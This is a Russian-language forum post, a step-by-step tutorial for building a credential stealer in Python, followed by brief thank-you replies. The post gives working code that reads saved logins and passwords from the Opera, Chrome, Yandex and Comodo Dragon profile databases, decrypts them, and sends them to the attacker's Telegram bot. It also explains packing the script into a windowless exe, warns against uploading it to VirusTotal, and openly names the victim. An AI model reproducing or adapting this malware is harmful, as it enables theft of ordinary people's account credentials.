Python Статья пишем свой стиллер на Python

Asiris

Легенда
Регистрация
27 Май 2018
Сообщения
429
Reaction score
180
Баллы
43
Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Словарик с терминами,которые я буду использовать, можно найти здесь:
Код (Python):
Python:
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль - написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
[I]Комментарии будут отмечены решеточкой - #
_
[/I]
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем 3+ версию и устанавливаем ее.

Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)
Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.

Код:
Код (Python):
Python:
[LIST=1]
[*]/start
[*]/newbot
[*]_
[/LIST]
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код (Python):
Python:
[LIST=1]
[*]https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
[*]"chat":{"id":вашid #найти chatid в информации_
[/LIST]


С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

Код (Python):
Python:
[LIST=1]
[*]pip install --upgrade pip
[*]_
[/LIST]
После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot
Код (Python):
Python:
[LIST=1]
[*]pip install pyTelegramBotAPI
[*]pip install pywin32
[*]pip install telebot
[*]_
[/LIST]
__
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
Код:
Код (Python):
Python:
[LIST=1]
[*]from os import getlogin #из библиотеки os мы импортируем функцию getlogin
[*]#данная библиотека поможет нам получить имя пользователя компьютера
[*]import sqlite3 #импортируем библиотеку sqlite3
[*]#данная библиотека даст возможность работать с базами данных
[*]import win32crypt #импортируем библиотеку win32crypt
[*]#эта библиотека поможет расшифровать пароли из базы данных
[*]import telebot #импортируем библиотеку telebot
[*]#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
[*]_
[/LIST]
___
Теперь нам нужно задать переменные, которые мы будет использовать.
Код (Python):
Python:
[LIST=1]
[*]t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
[*]b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
[*]i=0 #переменная счетчик
[*]name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
[*]_
[/LIST]
___
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
Код:
Код (Python):
Python:
[LIST=1]
[*]op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
[*]#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
[*]g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
[*]yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
[*]c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
[*]lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
[*]lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"]
[*]_
[/LIST]
#создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
___
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

Код:
Код (Python):
Python:
[LIST=1]
[*]b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
[*]#b0t - имя бота,которого мы создали в начале
[*]#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
[*]for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
[*]   try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
[*]       br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
[*]       connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
[*]       curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
[*]       curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
[*]        for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
[*]            d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
[*]            b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
[*]            b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]   except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
[*]       b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке
[*]_
[/LIST]
Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)
Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i путь к иконке аргумент,который подключит к программе иконку
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)
Исходник и заключение
Исходники вы можете скачать по ссылке -

Для просмотра скрытого содержимого необходимо Войти или Зарегистрироваться.



Так приходят логи, пароль находится между символом b' и '
Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом
P.S. Автор темы не я но при каких-то,вопросах и ошибкам помогу их решить
 

sertyh55

Новорег
Регистрация
21 Авг 2020
Сообщения
3
Reaction score
0
Баллы
1
спасибо
 

sertyh55

Новорег
Регистрация
21 Авг 2020
Сообщения
3
Reaction score
0
Баллы
1
круто
 

sertyh55

Новорег
Регистрация
21 Авг 2020
Сообщения
3
Reaction score
0
Баллы
1
лучший
 

Deprimiert

Новорег
Регистрация
20 Сен 2020
Сообщения
3
Reaction score
0
Баллы
1
Замечательно
 

Deprimiert

Новорег
Регистрация
20 Сен 2020
Сообщения
3
Reaction score
0
Баллы
1
Потрясающе
 
Сверху